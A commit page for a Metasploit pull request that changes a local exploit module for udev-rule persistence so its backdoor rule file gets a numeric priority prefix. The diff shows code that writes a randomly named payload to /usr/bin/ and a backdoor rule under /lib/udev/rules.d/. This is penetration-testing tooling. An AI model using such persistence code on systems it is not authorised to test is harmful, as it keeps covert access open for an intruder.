Merge pull request #20286 from msutovsky-r7/fix/add_priority_udev_persistence
Adds different udev rule naming for udev persistence
This commit is contained in:
@@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
def exploit
|
||||
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
|
||||
|
||||
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
|
||||
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
|
||||
|
||||
unless writable? File.dirname(@backdoor_path)
|
||||
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
|
||||
|
||||
Reference in New Issue
Block a user